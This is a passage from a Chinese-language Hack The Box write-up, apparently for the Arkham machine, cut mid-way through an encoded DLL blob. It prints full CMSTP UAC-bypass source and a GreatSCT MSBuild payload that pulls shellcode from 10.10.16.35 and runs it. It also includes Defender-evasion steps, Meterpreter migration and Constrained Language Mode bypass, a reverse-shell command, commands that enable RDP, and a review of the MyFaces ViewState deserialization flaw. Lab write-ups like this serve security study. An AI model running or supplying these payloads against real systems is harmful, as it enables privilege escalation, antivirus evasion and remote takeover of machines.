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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
}
[CMSTPBypass]::Execute($Command)
}
準備好檔案後,丟上去
curl 10.10.16.35/CMSTP-UAC-Bypass.ps1 -o CMSTP-UAC-Bypass.ps1
跑起來!!!
PS C:\Users\Batman> .\CMSTP-UAC-Bypass.ps1
.\CMSTP-UAC-Bypass.ps1 : Operation did not complete successfully because the file contains a virus or potentially unwanted software.
At line:1 char:1
+ .\CMSTP-UAC-Bypass.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
幹 …!?!??!
所以說 …… 他 Defender 把我的東東給抓走了 QQ
那接著我們可以試著自己 Compile 檔案,通常自己 Compile 的東西,Defender 不會抓
/*
UAC Bypass using CMSTP.exe microsoft binary
Based on previous work from Oddvar Moe
Research on CMSTP.exe
And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;
public class CMSTPBypass
{
// Our .INF file data!
public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"
[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""
";
[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);
public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";
/* Generates a random named .inf file with command to be executed with UAC privileges */
public static string SetInfFile(string CommandToExecute)
{
string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
string TemporaryDir = "C:\\windows\\temp";
StringBuilder OutputFile = new StringBuilder();
OutputFile.Append(TemporaryDir);
OutputFile.Append("\\");
OutputFile.Append(RandomFileName);
OutputFile.Append(".inf");
StringBuilder newInfData = new StringBuilder(InfData);
newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
return OutputFile.ToString();
}
public static bool Execute(string CommandToExecute)
{
if(!File.Exists(BinaryPath))
{
Console.WriteLine("Could not find cmstp.exe binary!");
return false;
}
StringBuilder InfFile = new StringBuilder();
InfFile.Append(SetInfFile(CommandToExecute));
Console.WriteLine("Payload file written to " + InfFile.ToString());
ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
startInfo.Arguments = "/au " + InfFile.ToString();
startInfo.UseShellExecute = false;
Process.Start(startInfo);
IntPtr windowHandle = new IntPtr();
windowHandle = IntPtr.Zero;
do {
windowHandle = SetWindowActive("cmstp");
} while (windowHandle == IntPtr.Zero);
System.Windows.Forms.SendKeys.SendWait("{ENTER}");
return true;
}
public static IntPtr SetWindowActive(string ProcessName)
{
Process[] target = Process.GetProcessesByName(ProcessName);
if(target.Length == 0) return IntPtr.Zero;
target[0].Refresh();
IntPtr WindowHandle = new IntPtr();
WindowHandle = target[0].MainWindowHandle;
if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
SetForegroundWindow(WindowHandle);
ShowWindow(WindowHandle, 5);
return WindowHandle;
}
}
一樣先把檔案丟上去
curl 10.10.16.35/cmstd-uac-bypass.cs -o cmstd-uac-bypass.cs
跑 Compile
PS C:\Users\Batman> Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "UAC-Bypass.dll"
Cannot invoke method. Method invocation is supported only on core types in this language mode.
At line:1 char:1
+ Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) - ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage
看起來是電腦不支援 …
通常出現下面這段文字,代表電腦處於 ConstrainedLanguage 約束語言模式
Cannot invoke method. Method invocation is supported only on core types in this language mode.
ref:
https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
想要確認的方法是,可以在 Powershell 中輸入
$ExecutionContext.SessionState.LanguageMode
如果回傳 ConstrainedLanguage
代表被限制,而 FullLanguage
則代表沒有被限制
這個模式被稱作 Constrained Language Mode,CLM,可以透過下列網址的各種方法來 Bypass CLM
https://www.anquanke.com/post/id/160948
但上述的方式都偏複雜,所以我想用 meterpreter 的方法來解,在 meterpreter 中,只要使用
load powershell
powershell_shell
就可以簡單的 Bypass CLM
https://fireantlabs.com/post/2021/05/powershell-constrained-mode-bypass-with-meterpreter/
GreatSCT Run Meterpreter
因為他不能傳 Meterpreter ,會被 Defender 偵測為病毒,所以我們要來搞免殺,並透過 meterpreter 的方法來 Bypass CLM
這邊我使用的方法是 GreatSCT ,他有許多的 Extenstion 有辦法辦到 Bypass Defender 等防毒的功能
不過 GreatSCT 要用 x86 Kali Linux 跑,我在 ARM Kali 或是 lima 的 x86 Ubuntu 上都怪怪的
首先先進行安裝
git clone https://github.com/GreatSCT/GreatSCT
cd GreatSCT
cd setup
sudo ./setup.sh -c
接下來執行程式
┌──(kali㉿kali)-[~/GreatSCT]
└─$ python3 GreatSCT.py
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Main Menu
1 tools loaded
Available Commands:
exit Exit GreatSCT
info Information on a specific tool
list List available tools
update Update GreatSCT
use Use a specific tool
Main menu choice: list
首先輸入 List 觀察他有哪些 tools
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Available Tools:
1) Bypass
發現只有 Bypass (那問屁問 = =?)
再來使用 Bypass 的 Module
===============================================================================
GreatSCT | [Version]: 1.0
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
Main Menu
1 tools loaded
Available Commands:
exit Exit GreatSCT
info Information on a specific tool
list List available tools
update Update GreatSCT
use Use a specific tool
Main menu choice: use Bypass
再來觀察 Bypass 的 Module 裡面有哪些 payload,輸入 list
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
GreatSCT-Bypass Menu
26 payloads loaded
Available Commands:
back Go to main GreatSCT menu
checkvt Check virustotal against generated hashes
clean Remove generated artifacts
exit Exit GreatSCT
info Information on a specific payload
list List available payloads
use Use a specific payload
GreatSCT-Bypass command: list
他就會噴出目前支援的 26 個 Module 了,這邊我選用 9 號,也就是最普通的 meterperter reverse tcp
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Available Payloads:
1) installutil/meterpreter/rev_http.py
2) installutil/meterpreter/rev_https.py
3) installutil/meterpreter/rev_tcp.py
4) installutil/powershell/script.py
5) installutil/shellcode_inject/base64.py
6) installutil/shellcode_inject/virtual.py
7) msbuild/meterpreter/rev_http.py
8) msbuild/meterpreter/rev_https.py
9) msbuild/meterpreter/rev_tcp.py
10) msbuild/powershell/script.py
11) msbuild/shellcode_inject/base64.py
12) msbuild/shellcode_inject/virtual.py
13) mshta/shellcode_inject/base64_migrate.py
14) regasm/meterpreter/rev_http.py
15) regasm/meterpreter/rev_https.py
16) regasm/meterpreter/rev_tcp.py
17) regasm/powershell/script.py
18) regasm/shellcode_inject/base64.py
19) regasm/shellcode_inject/virtual.py
20) regsvcs/meterpreter/rev_http.py
21) regsvcs/meterpreter/rev_https.py
22) regsvcs/meterpreter/rev_tcp.py
23) regsvcs/powershell/script.py
24) regsvcs/shellcode_inject/base64.py
25) regsvcs/shellcode_inject/virtual.py
26) regsvr32/shellcode_inject/base64_migrate.py
GreatSCT-Bypass command: use 9
接下來得介面其實就跟 metasploit 差不了太多,照著選,最後 generate 就好ㄌ
Payload: msbuild/meterpreter/rev_tcp selected
Required Options:
Name Value Description
---- ----- -----------
DOMAIN X Optional: Required internal domain
EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
HOSTNAME X Optional: Required system hostname
INJECT_METHOD Virtual Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 4444 Port of the Metasploit handler
PROCESSORS X Optional: Minimum number of processors
SLEEP X Optional: Sleep "Y" seconds, check if accelerated
TIMEZONE X Optional: Check to validate not in UTC
USERNAME X Optional: The required user account
Available Commands:
back Go back
exit Completely exit GreatSCT
generate Generate the payload
options Show the shellcode's options
set Set shellcode option
[msbuild/meterpreter/rev_tcp>>] set LHOST 10.10.16.35
[msbuild/meterpreter/rev_tcp>>] set LPORT 6666
[msbuild/meterpreter/rev_tcp>>] generate
Generate 後,會跳出下面的畫面,算是一個 Summary
===============================================================================
Great Scott!
===============================================================================
[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================
[*] Language: msbuild
[*] Payload Module: msbuild/meterpreter/rev_tcp
[*] MSBuild compiles for us, so you just get xml :)
[*] Source code written to: /usr/share/greatsct-output/source/payload.xml
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc
Please press enter to continue >:
我們需要關注的檔案就只是 Source Code 以及 Metasploit RC file
首先我們可以先觀察一下 msf 的 RC File
┌──(kali㉿kali)-[~/GreatSCT]
└─$ cat /usr/share/greatsct-output/handlers/payload.rc
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.16.35
set LPORT 6666
set ExitOnSession false
exploit -j
其實沒什麼,就是教我們 msf 要怎麼下指令
而重點應該會是 xml 的那個檔案
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<Target Name="OykJZTe">
<BuLleWfylAfeG />
</Target>
<UsingTask
TaskName="BuLleWfylAfeG"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System; using System.Net; using System.Net.Sockets; using System.Linq; using System.Runtime.InteropServices; using System.Threading; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class BuLleWfylAfeG : Task, ITask {
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 BooIpvbrTLpAPJ,UInt32 nftAUYGTkB, UInt32 MszHGZVMZliV, UInt32 orVihvCX);
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 wDxDgMgbYNTV, UInt32 uoIizPKVCazxeu, UInt32 FXHAAJ,IntPtr eUMskIrxGZD, UInt32 KmNRgeeg, ref UInt32 PqHToYdBhiWRHEl);
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr gvfxFJynDBsBnY, UInt32 AjvsYtKuJ);
static byte[] ChqHxZq(string SpSZjZPF, int eWNnvtunlI) {
IPEndPoint HQknXtYDWa = new IPEndPoint(IPAddress.Parse(SpSZjZPF), eWNnvtunlI);
Socket KeyCJPEpr = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
try { KeyCJPEpr.Connect(HQknXtYDWa); }
catch { return null;}
byte[] zXirgBvRttzo = new byte[4];
KeyCJPEpr.Receive(zXirgBvRttzo, 4, 0);
int wtxLPgNo = BitConverter.ToInt32(zXirgBvRttzo, 0);
byte[] VclYlXHBcCDYhCw = new byte[wtxLPgNo + 5];
int DBxmEzRFtLpWp = 0;
while (DBxmEzRFtLpWp < wtxLPgNo)
{ DBxmEzRFtLpWp += KeyCJPEpr.Receive(VclYlXHBcCDYhCw, DBxmEzRFtLpWp + 5, (wtxLPgNo - DBxmEzRFtLpWp) < 4096 ? (wtxLPgNo - DBxmEzRFtLpWp) : 4096, 0);}
byte[] vLdLPIBJtqAtsMH = BitConverter.GetBytes((int)KeyCJPEpr.Handle);
Array.Copy(vLdLPIBJtqAtsMH, 0, VclYlXHBcCDYhCw, 1, 4); VclYlXHBcCDYhCw[0] = 0xBF;
return VclYlXHBcCDYhCw;}
static void vDjaXaReyNNGd(byte[] lRJGfCGwVlfD) {
if (lRJGfCGwVlfD != null) {
UInt32 sEbdib = VirtualAlloc(0, (UInt32)lRJGfCGwVlfD.Length, 0x1000, 0x40);
Marshal.Copy(lRJGfCGwVlfD, 0, (IntPtr)(sEbdib), lRJGfCGwVlfD.Length);
IntPtr yABFbdL = IntPtr.Zero;
UInt32 pOpMwdFJ = 0;
IntPtr aHbDCcFy = IntPtr.Zero;
yABFbdL = CreateThread(0, 0, sEbdib, aHbDCcFy, 0, ref pOpMwdFJ);
WaitForSingleObject(yABFbdL, 0xFFFFFFFF); }}
public override bool Execute()
{
byte[] CKcXRbrfQcbkg = null; CKcXRbrfQcbkg = ChqHxZq("10.10.16.35", 6666);
vDjaXaReyNNGd(CKcXRbrfQcbkg);
return true; } }
]]>
</Code>
</Task>
</UsingTask>
</Project>
大概的看一下,可以知道這是一個 XML 檔案,可以讓 msbuild 在 build 的過程中去執行下面這些東東,而 Windows Defender 有一個特性是,自己 Compile 的東西自己不會抓,所以我們要利用這個特性來 Bypass Defender
首先先把 xml 檔案丟上去
curl 10.10.16.35/r.xml -o r.xml
接下來把 msf 開好待命
並且執行下面指令
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Users\Batman\r.xml
會觀察 Build 到一半卡住
而這個時候,我們就收到 meterpreter 的 Session 了
Meterperter Bypass CLM
首先先 migrate 自己的 PID
下 ps
找到 explorer.exe
meterpreter > migrate 4956
[*] Migrating from 1516 to 4956...
[*] Migration completed successfully.
再來 run 下面的指令
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > $executioncontext.sessionstate.languagemode
FullLanguage
我們用 meterpreter 自己 spawn 出來的 Powershell ,就能 Bypass CLM
再來回到前面的 CMSTP-UAC-Bypass 的 Part,我們先準備好 Source.cs 檔案,執行下面兩行來 Compile DLL
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
最後再打一次 Shell 回來
[CMSTPBypass]::Execute("C:\Users\Batman\tshd_windows_amd64.exe -c 10.10.16.35 -p 6665")
幹!終於結束了 Q__Q
再來就可以暢行無阻的去拿 Flag 了
Beyond System
雖然結束了,但還是想知道自己前面踩的雷到底是為什麼,所以我就先幫他開個 RDP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
發現他真的 Defender 全開 …..
所以先前的 UAC Bypass 就被抓ㄌ
先前打的 certutil 也被抓 QAQ
另外,我們也可以直接去 C:\tomcat\apache-tomcat-8.5.37\webapps
把原始檔案抓回家看一下
在 ROOT/userSubscribe.jsp
可以看到塞入 Viewstate 的點
<f:view >
<h:form>
<h:panelGrid>
<h:inputText style="margin-left:50px;" styleClass="button" id="email" value="#{helloWorldJSFManagedBean.userFormView.userName}"></h:inputText>
</h:panelGrid>
<h:commandButton type="submit" style="cursor: pointer" styleClass="button" id="submit" action="welcomePage" value="SIGN UP"></h:commandButton>
</h:form>
</f:view>
而 WEB-INF/web.xml
跟我們先前從 smb 得到的檔案一致
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
而 WEB-INF/classes/jsfHelloWorldBean/HelloWorldJSFManagedBean.class
可以用 JD-GUI 拆開來看,裡面也沒啥東西,但可以注意到他有 implements Serializable
public class HelloWorldJSFManagedBean implements Serializable {
private static final long serialVersionUID = 1L;
private UserFormView userFormView = new UserFormView();
public UserFormView getUserFormView() {
return this.userFormView;
}
public void setUserFormView(UserFormView userFormView) {
this.userFormView = userFormView;
}
public String showUserDetails() {
System.out.println("The Name Of the user is :" + this.userFormView.getUserName());
return "welcomePage";
}
}
Java 的反序列化 function 叫做 readObject
,而我們知道這個反序列化漏洞在 myfaces 裡面,所以可以直接跟進去找一下 myfaces-impl-1.2.9.jar
裡面的 JspStateManagerlmpl.class
第 752 行
總之,程式會在這個 function 中,把 View State 的東西執行反序列化,達成攻擊的效果
protected Object deserializeView(Object state)
{
if (log.isTraceEnabled()) log.trace("Entering deserializeView");
if(state instanceof byte[])
{
if (log.isTraceEnabled()) log.trace("Processing deserializeView - deserializing serialized state. Bytes : "+((byte[]) state).length);
try
{
ByteArrayInputStream bais = new ByteArrayInputStream((byte[]) state);
InputStream is = bais;
if(is.read() == COMPRESSED_FLAG)
{
is = new GZIPInputStream(is);
}
ObjectInputStream ois = null;
try
{
final ObjectInputStream in = new MyFacesObjectInputStream(is);
ois = in;
Object object = null;
if (System.getSecurityManager() != null)
{
object = AccessController.doPrivileged(new PrivilegedExceptionAction<Object []>()
{
public Object[] run() throws PrivilegedActionException, IOException, ClassNotFoundException
{
return new Object[] {in.readObject(), in.readObject()};
}
});
}
else
{
object = new Object[] {in.readObject(), in.readObject()};
}
return object;
}
我們也可以在 StateUtils.class
中找到加密相關的資訊
public final class StateUtils {
private static final Log log = LogFactory.getLog(StateUtils.class);
public static final String ZIP_CHARSET = "ISO-8859-1";
public static final String DEFAULT_ALGORITHM = "DES";
public static final String DEFAULT_ALGORITHM_PARAMS = "ECB/PKCS5Padding";
public static final String INIT_PREFIX = "org.apache.myfaces.";
這題就差不多這樣ㄅ,好累 QQ
Ref
- https://blog.kaibro.tw/2020/02/23/Java反序列化之readObject分析/
- https://www.cnblogs.com/backlion/p/10493919.html
- https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/
- https://issues.apache.org/jira/browse/MYFACES-4133
- https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization
- https://www.exploit-db.com/docs/48126
- https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHEMYFACESCORE-30680
- https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html
- https://www.cnblogs.com/backlion/p/10493919.html
- https://0xrick.github.io/hack-the-box/arkham/
- https://0xdf.gitlab.io/2019/08/10/htb-arkham.html
- https://hipotermia.pw/htb/arkham
- https://github.com/GreatSCT/GreatSCT
- https://github.com/padovah4ck/PSByPassCLM
- https://darkwing.moe/2021/04/25/Arkham-HackTheBox/
- https://en.wikipedia.org/wiki/Jakarta_Server_Faces